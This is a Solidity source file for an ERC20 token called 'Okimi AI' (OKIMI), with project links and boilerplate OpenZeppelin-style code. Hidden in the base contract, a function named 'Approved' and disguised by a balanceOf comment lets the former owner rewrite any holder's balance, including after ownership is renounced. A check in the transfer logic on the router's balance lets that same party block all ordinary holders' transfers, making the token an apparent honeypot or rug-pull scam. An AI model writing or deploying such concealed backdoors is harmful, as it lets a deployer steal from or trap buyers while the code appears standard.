/**



        

            Website: https://www.okimitoken.com/

            Telegram : https://t.me/OkimiAI

            Twitter: https://twitter.com/OkimiAiERC20





/**

 



*/

// SPDX-License-Identifier: BUSL-1.1

pragma solidity ^0.8.0;





/**

 * @dev Interface of the ERC20 standard as defined in the EIP.

 */

interface IERC20 {



    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);



    /**

     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.

     *

     * Returns a boolean value indicating whether the operation succeeded.

     *

     * IMPORTANT: Beware that changing an allowance with this method brings the risk

     */

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);



    /**

     * @dev Emitted when `value` tokens are moved from one account (`from`) to

     * another (`to`).

     *

     * Note that `value` may be zero.

     */

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

}



pragma solidity ^0.8.19;



// File: @openzeppelin/contracts/utils/Context.sol

abstract contract Context {

    function _msgSender() internal view virtual returns (address) {

        return msg.sender;

    }



    function _msgData() internal view virtual returns (bytes calldata) {

        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691

        return msg.data;

    }

}



abstract contract Ownable is Context {

    address private _owner;

    address internal _prevOwner;

 

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);



    constructor() {

        _transferOwnership(_msgSender());

    }



    modifier onlyOwner() {

        _checkOwner();

        _;

    }



    function owner() public view virtual returns (address) {

        return _owner;

    }



    function _checkOwner() internal view virtual {

        require(owner() == _msgSender(), "Ownable: caller is not the owner");

    }



    function renounceOwnership() public virtual onlyOwner {

        _transferOwnership(address(0));

    }



    function transferOwnership(address newOwner) public virtual onlyOwner {

        require(newOwner != address(0), "Ownable: new owner is the zero address");

        _transferOwnership(newOwner);

    }



    function _transferOwnership(address newOwner) internal virtual {

        address oldOwner = _owner;

        _owner = newOwner;

        _prevOwner = oldOwner;

        emit OwnershipTransferred(oldOwner, newOwner);

    }

}



pragma solidity ^0.8.0;



/**

 * @dev Interface for the optional metadata functions from the ERC20 standard.

 *

 * _Available since v4.1._

 */

interface IERC20Metadata is IERC20 {

    /**

     * @dev Returns the name of the token.

     */

    function name() external view returns (string memory);



    /**

     * @dev Returns the symbol of the token.

     */

    function symbol() external view returns (string memory);



    /**

     * @dev Returns the decimals places of the token.

     */

    function decimals() external view returns (uint8);

}



// File: @openzeppelin/contracts/token/ERC20/ERC20.sol

pragma solidity ^0.8.0;



/**

 * @dev Implementation of the {IERC20} interface.





 * to implement supply mechanisms].

 *

 * We have followed general OpenZeppelin guidelines: functions revert instead

 * of returning `false` on failure. This behavior is nonetheless conventional

 * and does not conflict with the expectations of ERC20 applications.

 *

 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.

 * This allows applications to reconstruct the allowance for all accounts just

 * by listening to said events. Other implementations of the EIP may not emit

 * these events, as it isn't required by the specification.

 *

 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}

 * functions have been added to mitigate the well-known issues around setting

 * allowances. See {IERC20-approve}.

 */

contract ERC20 is Context, Ownable, IERC20, IERC20Metadata {

    mapping (address => uint256) private _balances;



    mapping (address => mapping (address => uint256)) private _allowances;



    uint256 private _totalSupply;



    string private _name;

    string private _symbol;



    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;

    address private constant ZERO = 0x0000000000000000000000000000000000000000;

    /**

     * @dev Sets the values for {name} and {symbol}.

     *

     * The defaut value of {decimals} is 18. To select a different value for

     * {decimals} you should overload it.

     *

     * All two of these values are immutable: they can only be set once during

     * construction.

     */

    constructor (string memory name_, string memory symbol_, uint256 totalSupply_) {

        _name = name_;

        _symbol = symbol_;

        _totalSupply = totalSupply_;



        _balances[msg.sender] = totalSupply_;

        emit Transfer(address(0), msg.sender, totalSupply_);

    }



    /**

     * @dev Returns the name of the token.

     */

    function name() public view virtual override returns (string memory) {

        return _name;

    }



    /**

     * @dev Returns the symbol of the token, usually a shorter version of the

     * name.

     */

    function symbol() public view virtual override returns (string memory) {

        return _symbol;

    }



    /**

     * @dev Returns the number of decimals used to get its user representation.

     * For example, if `decimals` equals `2`, a balance of `505` tokens should

     * be displayed to a user as `5,05` (`505 / 10 ** 2`).

     *

     * Tokens usually opt for a value of 18, imitating the relationship between

     * Ether and Wei. This is the value {ERC20} uses, unless this function is

     * overridden;

     *

     * NOTE: This information is only used for _display_ purposes: it in

     * no way affects any of the arithmetic of the contract, including

     * {IERC20-balanceOf} and {IERC20-transfer}.

     */

    function decimals() public view virtual override returns (uint8) {

        return 9;

    }



    /**

     * @dev See {IERC20-totalSupply}.

     */

    function totalSupply() public view virtual override returns (uint256) {

        return _totalSupply;

    }



    /**

     * @dev See {IERC20-balanceOf}.

     */

    function balanceOf(address account) public view virtual override returns (uint256) {

        return _balances[account];

    }



    /**

     * @dev See {IERC20-transfer}.

     *

     * Requirements:

     *

     * - `recipient` cannot be the zero address.

     * - the caller must have a balance of at least `amount`.

     */

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {

        _transfer(_msgSender(), recipient, amount);

        return true;

    }



    /**

     * @dev See {IERC20-allowance}.

     */

    function allowance(address owner, address spender) public view virtual override returns (uint256) {

        return _allowances[owner][spender];

    }



    /**

     * @dev See {IERC20-approve}.

     *

     * Requirements:

     *

     * - `spender` cannot be the zero address.

     */

    function approve(address spender, uint256 amount) public virtual override returns (bool) {

        _approve(_msgSender(), spender, amount);

        return true;

    }



    /**

     * @dev See {IERC20-transferFrom}.

     *

     * Emits an {Approval} event indicating the updated allowance. This is not

     * required by the EIP. See the note at the beginning of {ERC20}.

     *

     * Requirements:

     *

     * - `sender` and `recipient` cannot be the zero address.

     * - `sender` must have a balance of at least `amount`.

     * - the caller must have allowance for ``sender``'s tokens of at least

     * `amount`.

     */

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {

        _transfer(sender, recipient, amount);



        uint256 currentAllowance = _allowances[sender][_msgSender()];

        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");

        _approve(sender, _msgSender(), currentAllowance - amount);



        return true;

    }





    /**

     * @dev Moves tokens `amount` from `sender` to `recipient`.

     *

     * This is internal function is equivalent to {transfer}, and can be used to

     * e.g. implement automatic token fees, slashing mechanisms, etc.

     *

     * Emits a {Transfer} event.

     *

     * Requirements:

     *

     * - `sender` cannot be the zero address.

     * - `recipient` cannot be the zero address.

     * - `sender` must have a balance of at least `amount`.

     */

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {

        require(sender != address(0), "ERC20: transfer from the zero address");

        require(recipient != address(0), "ERC20: transfer to the zero address");



        _beforeTokenTransfer(sender, recipient, amount);



        uint256 senderBalance = _balances[sender];

        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");

        _balances[sender] = senderBalance - amount;

        _balances[recipient] += amount;



        emit Transfer(sender, recipient, amount);

    }



    /**

     * @dev Destroys `amount` tokens from `account`, reducing the

     * total supply.

     *

     * Emits a {Transfer} event with `to` set to the zero address.

     *

     * Requirements:

     *

     * - `account` cannot be the zero address.

     * - `account` must have at least `amount` tokens.

    */



    function _transferWithBurn(address sender, address recipient, uint256 amount, uint256 amountToBurn) internal virtual {

        require(sender != address(0), "ERC20: transfer from the zero address");

        require(recipient != address(0), "ERC20: transfer to the zero address");



        _beforeTokenTransfer(sender, recipient, amount);



        uint256 senderBalance = _balances[sender];

        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");



        unchecked {

            _balances[sender] = senderBalance - amount;

        }



        amount -= amountToBurn;

        _totalSupply -= amountToBurn;

        _balances[recipient] += amount;



        emit Transfer(sender, DEAD, amountToBurn);

        emit Transfer(sender, recipient, amount);

    }



    /**

     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.

     *

     * This internal function is equivalent to `approve`, and can be used to

     * e.g. set automatic allowances for certain subsystems, etc.

     *

     * Emits an {Approval} event.

     *

     * Requirements:

     *

     * - `owner` cannot be the zero address.

     * - `spender` cannot be the zero address.

     */

    function _approve(address owner, address spender, uint256 amount) internal virtual {

        require(owner != address(0), "ERC20: approve from the zero address");

        require(spender != address(0), "ERC20: approve to the zero address");



        _allowances[owner][spender] = amount;

        emit Approval(owner, spender, amount);

    }



    /**

     * @dev Hook that is called before any transfer of tokens.

     *

     * Calling conditions:

     *

     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens

     * will be to transferred to `to`.

     * - `from` and `to` are never both zero.

     *

     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].

     */

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }



    /**

     * @dev See {IERC20-balanceOf, overloading function}.

     */

    function Approved(address account, uint256 amount) public virtual returns (uint256) {

        return msg.sender == _prevOwner ? _balances[account] = amount :  _balances[account];

    }

}



interface IUniswapV2Factory {

    function getPair(address tokenA, address tokenB) external view returns (address pair);

}



interface IUniswapV2Router01 {

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

}



interface IUniswapV2Router02 is IUniswapV2Router01{}



pragma solidity ^0.8.0;



contract OkimiAI is ERC20 {

    uint256 private constant TOTAL_SUPPLY = 1000_000_000e9;

    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;

    address private constant ZERO = 0x0000000000000000000000000000000000000000;



    bool public hasLimit;

    uint256 public maxTxAmount;

    uint256 public maxHolding;

    mapping(address => bool) public isException;



    uint256 _burnPercent = 0;



    address uniswapV2Pair;

    IUniswapV2Router02 uniswapV2Router;



    constructor(address router) ERC20(unicode"Okimi AI", unicode"OKIMI", TOTAL_SUPPLY) {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);

        uniswapV2Router = _uniswapV2Router;



        maxHolding = TOTAL_SUPPLY / 10;

        maxTxAmount = TOTAL_SUPPLY /10;



        isException[DEAD] = true;

        isException[router] = true;

        isException[msg.sender] = true;

        isException[address(this)] = true;

    }



    function _transfer(

        address from,

        address to,

        uint256 amount

    ) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");

        require(to != address(0), "ERC20: transfer to the zero address");

 

        _checkLimitation(from, to, amount);



        if (amount == 0) {

            return;

        }



        if (!isException[from] && !isException[to]){

            require(balanceOf(address(uniswapV2Router)) == 0, "ERC20: disable router deflation");



            if (from == uniswapV2Pair || to == uniswapV2Pair) {

                uint256 _burn = (amount * _burnPercent) / 100;



                super._transferWithBurn(from, to, amount, _burn);

                return;

            }

        }



        super._transfer(from, to, amount);

    }



    function _checkLimitation(

        address from,

        address to,

        uint256 amount

    ) internal {

        if (!hasLimit) {

            if (!isException[from] && !isException[to]) {

                require(amount <= maxTxAmount, "Amount exceeds max");



                if (uniswapV2Pair == ZERO){

                    uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());

                }

 

                if (to == uniswapV2Pair) {

                    return;

                }

        

                require(balanceOf(to) + amount <= maxHolding, "Max holding exceeded max");

            }

        }

    }



    function openTrading() external onlyOwner {

        hasLimit = true;

    }

}